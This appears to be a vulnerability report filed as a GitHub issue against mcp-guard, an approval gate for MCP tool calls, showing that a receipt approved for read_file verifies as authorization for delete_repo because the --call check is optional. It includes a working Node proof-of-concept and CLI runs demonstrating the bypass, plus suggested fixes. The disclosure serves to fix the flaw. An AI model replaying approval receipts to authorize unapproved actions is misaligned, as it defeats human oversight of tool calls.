verify: a receipt approved for one action authorizes any other action at the same scope (`--call` is optional)
@rodchalski — filing under the #36 challenge (that thread is locked, so here instead).
Refs #36 — the $200 challenge, specifically the "Replay an existing receipt against a different action" case.
verify: a receipt approved for one action authorizes any other action at the same scope (--call is optional)
Summary. mcp-guard verify binds a jcs_v2 receipt to the call it authorizes only when the operator passes --call. Without it, verifyArtifactReceipt never compares the signed inputHash against anything, so the receipt's action binding — the one field that says which tool call a human approved — is dropped. What remains is scope{capability, ref, commitSha}, which names a commit, not an operation.
Result: one approval for read_file verifies as authorization for delete_repo at the same scope, and the gate prints Gate green and exits 0.
This is the "replay an existing receipt against a different action" case from the challenge. It needs no key, no forgery, and no modification of the receipt — only that the gate is invoked the way the CLI documents it.
Reproduction (current main, dist built from it)
$ node poc-action-binding.mjs
A) gate WITHOUT --call : VERIFIED []
B) same receipt, FORGED call : refused [ 'INPUT_HASH_MISMATCH: ...' ]
C) same receipt, the approved call: VERIFIED []
Same inputs through the shipped CLI:
$ node dist/src/cli.js verify --receipt-file poc-receipt.json --keys poc-keys.json \
--trust mcpg-…=sha256:… --scope deploy:production --scope-ref refs/heads/main --scope-sha c0ffee
Receipt 0a41b3fe-… VERIFIED (jcs_v2, key pinned by --trust) for deploy:production refs/heads/main @ c0ffee. Gate green.
exit=0
$ node dist/src/cli.js verify --receipt-file poc-receipt.json --keys poc-keys.json \
--trust mcpg-…=sha256:… --scope deploy:production --scope-ref refs/heads/main --scope-sha c0ffee \
--call poc-call-forged.json
::error::… REFUSED:
- INPUT_HASH_MISMATCH: the signed inputHash is "sha256:54db…", the call hashes to sha256:5d34…
exit=1
The receipt was signed for read_file {path:"/etc/hosts"}. The gate accepted it. The same gate refused it one flag later, for delete_repo {repo:"prod/api"} — so the receipt demonstrably is not for that action.
Gate invoked with only --scope deploy:production (as USAGE allows: --scope-ref and --scope-sha are optional) accepts the same receipt for any tool call in any commit.
Where it is
src/receipt-verify.ts, verifyArtifactReceipt:
if (opts.call) { // ← the action binding
const want = hashablePayloadInputHash(opts.call.tool, opts.call.operation, opts.call.input);
if (payload.inputHash !== want) reasons.push(`INPUT_HASH_MISMATCH: …`);
}
src/verify-cli.ts:
let call: CallInput | undefined;
if (flags.call) { … } // ← optional
result = verifyArtifactReceipt(receipt, keySet, { expected, allowPolicyApproval, trust: pins, call, allowDemo: … });
and USAGE lists --call in brackets like the other optional flags.
The docstring in receipt-verify.ts is explicit that this is intended: "6. (optional) scope / scope_ref / scope_sha exactly match the gate's expectation". The problem is that the signed action binding is the optional one — the check that scope performs uses requestScope(payload), which reads only scope.capability/ref/commitSha out of requestJson and never looks at the operation or the arguments. So there is no path by which an operation gets authorized, unless the operator remembers the extra flag.
The documented invocation is the one that skips the check
README.md:200 — the CI example every user copies — does not pass --call:
mcp-guard verify --receipt-file receipt.json --keys .pp/keys.json \
--trust "$MCP_GUARD_TRUST" --scope deploy:production --scope-sha "$GITHUB_SHA"
README.md:226 repeats the same signature, --call missing from the synopsis. So the vulnerable path is not a misuse of an advanced flag; it is the copy-paste default.
Why it matters
The threat model this product sells is "a human approved this deploy". A gate that runs the documented command approves whichever deploy happens at that commit, provided the capability and sha match.
Concretely, on a single commit with capability deploy:production:
- human approves "run migration 0042" (
status: APPROVED,resolutionType: allow_once) - receipt is redeemed and replayed, or simply reused before expiry since the gate passes no replay cache (check 7 is also optional), for "delete production bucket"
Both are deploy:production at refs/heads/main @ c0ffee. Both verify.
Suggested fixes (any one closes it)
- Require the action binding. Make
opts.callmandatory inverifyArtifactReceipt(and--callmandatory inverify-cli). The receipt already carriesinputHash; refusing to compare it should be the error, not the default. - Or bind the operation into the signed scope — put
tool/operationinsidescopeinrequestJson, soPP_SCOPE_MISMATCHcatches the substitution without any extra flag.requestScope()already parses that object. - Or make
--callopt-out explicitly (--no-call), so the omission is a stated decision rather than a default.
Fix 2 is probably the right one long term: the gate's --scope is what a CI step author writes, and it should name the operation, not just the target commit.
Scope of this report
No cryptographic check is broken: checkArtifact verifies the signature, the payload hash, the canonical form, and the key id correctly. The flaw is that the verifier, on its documented path, does not use the action binding that the signed payload carries.
[email protected], main as of 2026-10-30, dist built with npx tsc on Node v22.22.2. The repro is self-contained below: drop it in the repo root after npm i && npx tsc and run node poc-action-binding.mjs.
poc-action-binding.mjs
/**
* PoC: a jcs_v2 receipt approved for one action verifies for a DIFFERENT action,
* because `verifyArtifactReceipt` binds a receipt to a call only when the gate
* supplies `opts.call`, and `verify-cli.ts` makes `--call` optional.
*
* What the gate then checks is only scope{capability, ref, commitSha} — which does
* not name the tool or the operation. So "approve one action" degenerates into
* "approve every action at that commit".
*
* Run: node poc-action-binding.mjs
*/
import { createHash, generateKeyPairSync, randomUUID } from 'node:crypto';
import { buildArtifact } from './dist/src/signing/artifact.js';
import { hashablePayloadInputHash } from './dist/src/issuer.js';
import { verifyArtifactReceipt } from './dist/src/receipt-verify.js';
const b64 = (b) => Buffer.from(b).toString('base64');
const sha = (b) => createHash('sha256').update(b).digest('hex');
// --- 1. an honest issuer key, listed in a key set the gate is told to trust -----
const { publicKey, privateKey } = generateKeyPairSync('ed25519');
const raw = Buffer.from(publicKey.export({ type: 'spki', format: 'der' }).subarray(-32));
const keyId = `mcpg-${sha(raw).slice(0, 16)}`;
const fingerprint = `sha256:${sha(raw)}`;
const keySet = {
issuer: 'demo',
keys: [{ key_id: keyId, alg: 'ed25519', public_key_b64: b64(raw), status: 'active' }],
};
// --- 2. ONE approved action: this receipt is for read_file(path=/etc/hosts) -----
const SCOPE = { capability: 'deploy:production', ref: 'refs/heads/main', commitSha: 'c0ffee' };
const APPROVED_CALL = { tool: 'read_file', operation: 'read', input: { path: '/etc/hosts' } };
const FORGED_CALL = { tool: 'delete_repo', operation: 'delete', input: { repo: 'prod/api' } };
const now = Date.now();
const record = {
id: randomUUID(),
status: 'APPROVED',
receiptVersion: 2,
canonicalization: 'jcs_v2',
signatureAlg: 'ed25519',
signatureKeyId: keyId,
requestJson: JSON.stringify({ scope: SCOPE, action: { operation: APPROVED_CALL.operation, tool: APPROVED_CALL.tool } }),
inputHash: hashablePayloadInputHash(APPROVED_CALL.tool, APPROVED_CALL.operation, APPROVED_CALL.input),
riskTier: 'high',
policyVersion: 'mcp-guard-config:sha256:test',
reasonCodes: ['policy:deploy'],
summary: 'approve read_file',
expiresAt: new Date(now + 600_000).toISOString(),
createdAt: new Date(now).toISOString(),
deciderId: 'alice',
deciderDisplay: 'Alice',
deciderAuthMethod: 'passkey',
attributionConfidence: 'credentialed',
resolutionType: 'allow_once',
};
const artifact = buildArtifact(record, privateKey);
// --- 3. the gate's own invocation: scope pinned, --call not passed --------------
const expected = { scope: SCOPE.capability, scope_ref: SCOPE.ref, scope_sha: SCOPE.commitSha };
const trust = new Map([[keyId, fingerprint]]);
const asGate = verifyArtifactReceipt({ artifact }, keySet, { expected, trust });
console.log('A) gate WITHOUT --call :', asGate.valid ? 'VERIFIED' : 'refused', asGate.reasons);
const bound = verifyArtifactReceipt({ artifact }, keySet, { expected, trust, call: FORGED_CALL });
console.log('B) same receipt, FORGED call :', bound.valid ? 'VERIFIED' : 'refused', bound.reasons);
const honest = verifyArtifactReceipt({ artifact }, keySet, { expected, trust, call: APPROVED_CALL });
console.log('C) same receipt, the approved call:', honest.valid ? 'VERIFIED' : 'refused', honest.reasons);
console.log('\napproved action :', APPROVED_CALL.tool, APPROVED_CALL.operation, JSON.stringify(APPROVED_CALL.input));
console.log('gate accepted :', asGate.valid ? 'ANY action with this scope, including ' + FORGED_CALL.tool + ' ' + FORGED_CALL.operation + ' ' + JSON.stringify(FORGED_CALL.input) : 'nothing');
console.log('\nkey_id =', keyId);
// --- 4. hand the same inputs to the SHIPPED CLI (dist/src/verify-cli.js) -------
import { writeFileSync } from 'node:fs';
writeFileSync('poc-receipt.json', JSON.stringify({ artifact }, null, 2));
writeFileSync('poc-keys.json', JSON.stringify(keySet, null, 2));
writeFileSync('poc-call-forged.json', JSON.stringify(FORGED_CALL, null, 2));
writeFileSync('poc-call-approved.json', JSON.stringify(APPROVED_CALL, null, 2));
console.log('wrote poc-receipt.json / poc-keys.json / poc-call-*.json');